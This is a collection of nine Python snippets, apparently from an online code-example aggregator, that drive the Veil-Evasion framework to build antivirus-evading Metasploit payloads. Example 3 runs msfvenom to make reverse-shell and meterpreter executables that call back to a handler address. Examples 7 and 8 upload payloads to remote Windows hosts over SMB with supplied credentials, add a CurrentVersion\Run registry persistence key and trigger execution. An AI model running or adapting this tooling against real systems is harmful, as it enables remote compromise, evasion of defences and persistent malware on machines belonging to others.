Example #1
0
 def generate(self, name, payload, language='python'):
     ''' Gerenate shell with args '''
     controller = veil_controller.Controller()
     options = {}
     options['msfvenom'] = [payload.msfpayload, payload.msfoptions]
     options['required_options'] = {
         'compile_to_exe': 'Y',
         'use_pyherion': 'Y'
     }
     controller.SetPayload(language, payload.cryptor, options)
     file_name = name + "_veil"
     file_path = controller.OutputMenu(
         controller.payload,
         controller.GeneratePayload(),
         showTitle=False,
         interactive=False,
         OutputBaseChoice=file_name,
     )
     payload.file_path = file_path
     dbsession.add(payload)
     dbsession.flush()
Example #2
0
 def __generate__(self,
                  msfpayload,
                  msfoptions,
                  cryptor,
                  name,
                  language='python'):
     ''' Gerenate shell with args '''
     logging.debug("msfpayload: %s" % msfpayload)
     logging.debug("msfoptions: %s" % msfoptions)
     logging.debug("cryptor: %s" % cryptor)
     controller = veil_controller.Controller()
     options = {}
     options['msfvenom'] = [msfpayload, msfoptions]
     controller.SetPayload(language, cryptor, options)
     file_name = name + "_veil"
     file_path = controller.OutputMenu(
         controller.payload,
         controller.GeneratePayload(),
         showTitle=False,
         interactive=False,
         OutputBaseChoice=file_name,
     )
     return file_path
Example #3
0
def generate_payloads(numPayloads, handlerAddr, handlerPort):
    baseName = "veil-payload-"
    timestamp = int(time.time())
    lhost = "LHOST=" + str(handlerAddr)
    lport = "LPORT=" + str(handlerPort)

    # Generate revse_tcp payload for veil external exe/py encryptors
    print("Generating test executable...")
    exeName = "/user/share/veil-evasion/testbins/payload.exe"
    pyName = "/user/share/veil-evasion/testbins/payload.py"
    os.system(
        "msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp %s %s -e x86/shikata_ga_nai -f exe -o /usr/share/veil-evasion/testbins/payload.exe"
        % (lhost, lport))
    os.system(
        'msfvenom -p python/meterpreter_reverse_tcp -o /usr/share/veil-evasion/testbins/payload.py'
    )

    print("Generating %d payloads..." % numPayloads)

    # Instantiate main controller
    list_controller = controller.Controller(oneRun=True)

    # Load payloads from veil
    for (name, payload) in list_controller.payloads:
        # Payloads that need fixing to work...
        toDo = [
            "auxiliary/macro_converter", "native/hyperion",
            "native/pe_scrambler",
            "powershell/shellcode_inject/download_virtual",
            "perl/shellcode_inject/flat",
            "powershell/shellcode_inject/download_virtual_https"
        ]
        if name not in toDo:
            print("Generating payloads for %s..." % name)

            # Initialize options
            options = {}
            options['required_options'] = {}

            # Check for required options
            if hasattr(payload, 'required_options'):
                for key in sorted(payload.required_options.iterkeys()):
                    if key == 'LHOST':
                        options['required_options']['LHOST'] = [
                            str(handlerAddr), ''
                        ]
                    elif key == 'LPORT':
                        options['required_options']['LPORT'] = [
                            str(handlerPort), ''
                        ]
                    elif key == 'DOWNLOAD_HOST':
                        options['required_options']['DOWNLOAD_HOST'] = [
                            str(handlerAddr), ''
                        ]
                    elif key == 'ORIGINAL_EXE':
                        if name != 'native/backdoor_factory':
                            options['required_options'][
                                'ORIGINAL_EXE'] = exeName
                    elif key == 'PYTHON_SOURCE':
                        options['required_options']['PYTHON_SOURCE'] = pyName

            # Check payload for shellcode attribute
            if hasattr(payload, 'shellcode'):
                options['msfvenom'] = [
                    "windows/meterpreter/reverse_tcp", [lhost, lport]
                ]

            class Args(object):
                pass

            args = Args()
            args.pwnstaller = True
            args.overwrite = True

            # Generate number of requested payloads
            for x in range(numPayloads):
                args.o = name.replace("/", "_") + "-" + str(x)

                sample_controller = controller.Controller(oneRun=True)
                sample_controller.SetPayload(name, options)

                code = sample_controller.GeneratePayload()

                print(args.o)
                outName = sample_controller.OutputMenu(
                    sample_controller.payload,
                    code,
                    showTitle=False,
                    interactive=False,
                    args=args)

        else:
            # Payload in To-Do list
            print("Skipping: %s" % name)
Example #4
0
        parser.add_argument('--version',
                            action="store_true",
                            help='Displays version and quits.')

        args = parser.parse_args()

        # Print version
        if args.version:
            messages.title()
            sys.exit()

        # Print main title
        messages.title()

        # instantiate the main controller object
        controller = controller.Controller(oneRun=False)

        # call the update functionality for Veil and then exit
        if args.update:
            controller.UpdateVeil(interactive=False)
            sys.exit()

        # use interactive menu if not arguments
        controller.MainMenu(args=args)

    # Catch ctrl + c interrupts from the user
    except KeyboardInterrupt:
        print helpers.color("\n\n [!] Exiting...\n", warning=True)

    except EOFError:
        print helpers.color("\n\n [!] Exiting...\n", warning=True)
Example #5
0
                            help='Metasploit payload to generate.')
        parser.add_argument(
            '--msfoptions',
            metavar="OPTION=value",
            nargs='*',
            help='Options for the specified metasploit payload.')
        parser.add_argument('--custshell',
                            metavar="\\x00...",
                            help='Custom shellcode string to use.')
        args = parser.parse_args()

        # Print main title
        messages.title()

        # instantiate the main controller object
        controller = controller.Controller()

        # use interactive menu if a language isn't specified
        if not args.l:
            controller.MainMenu()
            sys.exit()

        # list languages available if "-l" is present but no language specified
        elif args.l == "list":
            controller.ListLangs()
            sys.exit()

        # if a language is specified but a payload isn't, list available
        # payload for that language
        elif args.p == "list" or not args.p:
            controller.ListPayloads(args.l)
Example #6
0
                def dispatch_request(self, subject):
                    print "dispatch_request(%s)" % (repr(subject), )

                    try:
                        # extract the method name and associated parameters
                        method = subject['method']
                        params = subject['params']

                        # instantiate a main Veil-Evasion controller
                        con = controller.Controller(oneRun=False)

                        # handle a request for version
                        if method == "version":
                            return messages.version

                        # handle a request to list all payloads
                        elif method == "payloads":
                            payloads = []
                            # return a list of all available payloads, no params needed
                            for (name, payload) in con.payloads:
                                payloads.append(name)
                            return payloads

                        # handle a request to list a particular payload's options
                        elif method == "payload_options":
                            # returns options available for a particular payload
                            options = []

                            if len(params) > 0:
                                # nab the payload name
                                payloadname = params[0]

                                # find this payload from what's available
                                for (name, payload) in con.payloads:

                                    if payloadname.lower() == name.lower():
                                        p = payload
                                        # see what required options are available
                                        if hasattr(p, 'required_options'):
                                            for key in sorted(
                                                    p.required_options.
                                                    iterkeys()):
                                                # return for the option - name,default_value,description
                                                options.append((
                                                    key,
                                                    p.required_options[key][0],
                                                    p.required_options[key][1]
                                                ))
                                        # check if this is a shellcode-utilizing payload
                                        if hasattr(p, 'shellcode'):
                                            options.append("shellcode")
                            return options

                        # handle a request to generate a payload
                        elif method == "generate":

                            if len(params) > 0:
                                payloadName, outputbase = "", ""
                                overwrite = False
                                payload = None
                                options = {}
                                options['required_options'] = {}

                                # pull these metaoptions out first
                                try:
                                    for param in params:
                                        if param.startswith("payload="):
                                            t, payloadName = param.split("=")
                                        elif param.startswith("outputbase="):
                                            t, outputbase = param.split("=")
                                        elif param.startswith("overwrite="):
                                            t, choice = param.split("=")
                                            if choice.lower() == "true":
                                                overwrite = True
                                except:
                                    return ""

                                # find our payload in the controller object list
                                for (name, p) in con.payloads:
                                    if payloadName.lower() == name.lower():
                                        payload = p

                                # error checking
                                if not payload: return ""

                                # parse all the parameters
                                for param in params:

                                    # don't include these metaoptions
                                    if param.startswith(
                                            "payload=") or param.startswith(
                                                "outputbase="
                                            ) or param.startswith(
                                                "overwrite="):
                                        continue

                                    # extract the name/value from this parameter
                                    name, value = param.split("=")
                                    required_options = []

                                    # extract the required options if they're there
                                    if hasattr(payload, 'required_options'):
                                        required_options = payload.required_options.iterkeys(
                                        )

                                    # if the value we're passed is in the required options
                                    if name in required_options:
                                        options['required_options'][name] = [
                                            value, ""
                                        ]
                                    elif name == "shellcode":
                                        options['customShellcode'] = value
                                    elif name == "msfpayload" or name == "msfvenom":
                                        options['msfvenom'] = [value, []]

                                    # assume we have msfvenom options otherwise
                                    else:
                                        # temporarily get the msfoptions out
                                        t = options['msfvenom']
                                        if not t[1]:
                                            # if there are no existing options
                                            options['msfvenom'] = [
                                                t[0],
                                                [str((name + "=" + value))]
                                            ]
                                        else:
                                            # if there are, append
                                            options['msfvenom'] = [
                                                t[0], t[1] +
                                                [str((name + "=" + value))]
                                            ]

                                # manually set the payload in the controller object
                                con.SetPayload(payloadName, options)

                                # generate the payload code
                                code = con.GeneratePayload()

                                class Args(object):
                                    pass

                                args = Args()
                                args.overwrite = overwrite
                                args.o = outputbase

                                # write out the payload code to the proper output file
                                outName = con.OutputMenu(con.payload,
                                                         code,
                                                         showTitle=False,
                                                         interactive=False,
                                                         args=args)

                                # return the written filename
                                return outName

                            else:
                                return ""
                        else:
                            return ""
                    except:
                        return ""
Example #7
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        uploadName = self.required_options["upload_name"][0]
        key_name = self.required_options["key_name"][0]

        # if we're using Veil-Evasion for payload generation
        if self.required_options["exe_path"][0].lower() == "veil":

            # create a Veil-Evasion controller object for payload generation
            con = controller.Controller()

            # if we don't have payload specified, jump to the main controller menu
            if not self.args.p:
                payloadPath = con.MainMenu()
            # otherwise, set all the appropriate payload options
            else:
                # pull out any required options from the command line and
                # build the proper dictionary so we can set the payload manually
                options = {}
                if self.args.c:
                    options['required_options'] = {}
                    for option in self.args.c:
                        name, value = option.split("=")
                        options['required_options'][name] = [value, ""]

                # pull out any msfvenom shellcode specification and msfvenom options
                if self.args.msfpayload:
                    options['msfvenom'] = [
                        self.args.msfpayload, self.args.msfoptions
                    ]

                # manually set the payload in the controller object
                con.SetPayload(self.args.p, options)

                # generate the payload code
                code = con.GeneratePayload()

                # grab the generated payload .exe name
                payloadPath = con.OutputMenu(con.payload,
                                             code,
                                             showTitle=True,
                                             interactive=False)

            # nicely print the title and module name again (since Veil-Evasion trashes this)
            messages.title()
            print " [*] Executing module: " + helpers.color(self.name) + "..."

            # sanity check if the user exited Veil-Evasion execution
            if not payloadPath or payloadPath == "":
                print helpers.color(" [!] No output from Veil-Evasion",
                                    warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""

        # if we have a custom-specified .exe, use that instead
        else:
            payloadPath = self.required_options["exe_path"][0]

            # if the .exe path doesn't exist, print and error and return
            if not os.path.exists(payloadPath):
                print helpers.color("\n\n [!] Invalid .exe path specified",
                                    warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""

        # make sure the name ends with ".exe"
        if not uploadName.endswith(".exe"):
            uploadName += ".exe"

        # copy the resulting binary into the temporary directory with the appropriate name
        os.system("cp " + payloadPath + " /tmp/" + uploadName)

        for target in self.targets:

            baseName = payloadPath.split("/")[-1]

            # upload the payload to C:\Windows\System32\
            smb.uploadFile(target, username, password, "C$", "\\Windows\\",
                           "/tmp/" + uploadName)
            self.output += "[*] Binary '" + baseName + "' uploaded to C:\\Windows\\" + uploadName + " using creds '" + username + ":" + password + "' on : " + target + "\n"

            # the registry command to set up the sethc stickkeys backdoor for the binary
            regCommand = "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /f /v " + key_name + " /t REG_SZ /d \"C:\\Windows\\" + uploadName + "\""

            # execute the sethc command and get the result
            sethcResult = command_methods.executeResult(
                target, username, password, regCommand, triggerMethod)

            if sethcResult == "":
                self.output += "[!] No result file, CurrentVersion\\Run registry command failed using creds '" + username + ":" + password + "' on : " + target + "\n"
            elif "The operation completed successfully" in sethcResult:
                self.output += "[*] CurrentVersion\\Run successfully set using creds '" + username + ":" + password + "' on : " + target + "\n"
                # build our cleanup -> deleting this registry run value
                cleanupCMD = "REG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v " + key_name + " /f"
                self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + cleanupCMD + "|" + triggerMethod + "\n"
Example #8
0
    def run(self):

        # assume single set of credentials
        username, password = self.creds[0]

        triggerMethod = self.required_options["trigger_method"][0]
        transport = self.required_options["transport"][0]
        exe_path = self.required_options["exe_path"][0]
        lhost = self.required_options["lhost"][0]
        spawnHandler = self.required_options["spawn_handler"][0].lower()

        # quick sanity check for host/execute logic before we continue...
        if transport.lower() == "host":
            # if 'host' is given for a transport method but no lhost is specified
            if lhost == "none" or lhost == "":
                print helpers.color("\n [!] lhost needed when hosting a payload", warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""

        # if we're using Veil-Evasion for payload generation
        if exe_path.lower() == "veil":

            # create a Veil-Evasion controller object for payload generation
            con = controller.Controller()

            # check various possibly flags passed by the command line

            # if we don't have payload specified, jump to the main controller menu
            if not self.args.p:
                payloadPath = con.MainMenu()
            # otherwise, set all the appropriate payload options
            else:
                # pull out any required options from the command line and
                # build the proper dictionary so we can set the payload manually
                options = {}
                if self.args.c:
                    options['required_options'] = {}
                    for option in self.args.c:
                        name,value = option.split("=")
                        options['required_options'][name] = [value, ""]

                # pull out any msfvenom shellcode specification and msfvenom options
                if self.args.msfpayload:
                    options['msfvenom'] = [self.args.msfpayload, self.args.msfoptions]

                # manually set the payload in the controller object
                con.SetPayload(self.args.p, options)

                # generate the payload code
                code = con.GeneratePayload()

                # grab the generated payload .exe name
                payloadPath = con.OutputMenu(con.payload, code, showTitle=True, interactive=False)


            # nicely print the title and module name again (since Veil-Evasion trashes this)
            messages.title()
            print " [*] Executing module: " + helpers.color(self.name) + "..."

            # sanity check if the user exited Veil-Evasion execution
            if not payloadPath or payloadPath == "":
                print helpers.color(" [!] No output from Veil-Evasion", warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""

        # if we have a custom-specified .exe, use that instead
        else:
            payloadPath = exe_path

            # if the .exe path doesn't exist, print and error and return
            if not os.path.exists(payloadPath):
                print helpers.color("\n\n [!] Invalid .exe path specified", warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""

        # if we're using Veil-Evasion's generated handler script, try to spawn it
        if spawnHandler.lower() == "true":
            # build the path to what the handler should be and
            handlerPath = settings.HANDLER_PATH + payloadPath.split(".")[0].split("/")[-1] + "_handler.rc"
            # command to spawn a new tab
            cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\""
            # invoke msfconsole with the handler script in a new tab
            os.system(cmd)
            raw_input("\n [>] Press enter when handler is ready: ")


        # the hostTrigger method gets the whole target list so the smb hosting
        # server doesn't have to be setup/torn down for each target
        if transport.lower() == "host":
            # if 'host' is given for a transport method but no lhost is specified
            if lhost == "none":
                print helpers.color("\n [!] lhost needed when hosting a payload", warning=True)
                raw_input("\n [>] Press enter to continue: ")
                return ""
            else:
                # execute the host/trigger command with all the targers
                process = delivery_methods.hostTrigger(self.targets, username, password, payloadPath, lhost, triggerMethod)
                # build the command to kill that process
                killCmd = "taskkill /f /im "+process

                for target in self.targets:
                    self.output += "[*] Payload '\\\\"+lhost+"\\SYSTEM\\"+process+"' triggered using creds '"+username+":"+password+"' on : " + target + "\n"
                    # build our cleanup file to kill the process
                    self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+killCmd+"|"+triggerMethod+"\n"

        # assume upload/trigger
        else:
            for target in self.targets:
                # execute the upload/trigger command with all the targets
                deliveredName = delivery_methods.uploadTrigger(target, username, password, payloadPath, triggerMethod)
                self.output += "[*] Payload '"+deliveredName+"' uploaded and triggered using creds '"+username+":"+password+"' on : " + target + "\n"

                # build the command to kill that process
                killCmd = "taskkill /f /im "+deliveredName

                # build our cleanup file to kill the process and delete the binary
                self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+killCmd+"|"+triggerMethod+"\n"
                # sleep for 3 seconds
                self.cleanup += "sleep|1\n"
                # delete the file off
                self.cleanup += "deletefile|"+target+"|"+username+"|"+password+"|C:\\Windows\\Temp\\"+deliveredName+"\n"
Example #9
0
def BuildVeilTCP(LHOST,
                 LPORT,
                 outputbasename,
                 lang,
                 pwnstaller=True,
                 overwrite=True,
                 **kwargs):  # IMPLEMENT
    '''
	kwargs:

	'''

    # Instantiate the controller
    controller = VeilController.Controller(oneRun=True)

    # Build the options dictionaries.
    options = {}
    options['required_options'] = {}

    # Set the options per language.
    if str.lower(lang) == 'python':
        print "Using python"
        options['required_options']['ARCHITECTURE'] = ['32', ""]
        options['required_options']['COMPILE_TO_EXE'] = ['Y', ""]
        options['required_options']['EXPIRE_PAYLOAD'] = ['X', ""]
        options['required_options']['LHOST'] = [LHOST, ""]
        options['required_options']['LPORT'] = [LPORT, ""]
        options['required_options']['USE_PYHERION'] = ['Y', ""]
        args = Namespace(o=outputbasename + "p",
                         pwnstaller=pwnstaller,
                         overwrite=overwrite)
        controller.SetPayload('python/meterpreter/rev_tcp', options)
    elif str.lower(lang) == 'ruby':
        print "Using Ruby"
        options['required_options']['LHOST'] = [LHOST, ""]
        options['required_options']['LPORT'] = [LPORT, ""]
        args = Namespace(o=outputbasename + "r",
                         pwnstaller=False,
                         overwrite=overwrite)
        controller.SetPayload('ruby/meterpreter/rev_tcp', options)

    elif str.lower(lang) == 'powershell':
        # Add logic.
        print "Using powershell"
        options['required_options']['LHOST'] = [LHOST, ""]
        options['required_options']['LPORT'] = [LPORT, ""]
        args = Namespace(o=outputbasename + "p",
                         pwnstaller=False,
                         overwrite=overwrite)
        controller.SetPayload('powershell/meterpreter/rev_tcp', options)
    # Continue to add more languages here.

    else:
        print "BuildVeilTCP: Error - Invalid lang setting."

    # Generate the payload
    payloadcode = controller.GeneratePayload()

    # Gotta change into the Veil-Evasion directory. Save current working dir, change, then change back.
    workingdirectory = os.getcwd()
    os.chdir(VeilSettings.VEIL_EVASION_PATH)
    outFile = controller.OutputMenu(controller.payload,
                                    payloadcode,
                                    showTitle=False,
                                    interactive=False,
                                    args=args)

    # Changing back
    os.chdir(workingdirectory)
    if str.lower(lang) == 'powershell':
        f = open(outFile, 'r')
        fr = f.read()
        f.close()
        print fr + "\n"
        return fr  # outFile
    return outFile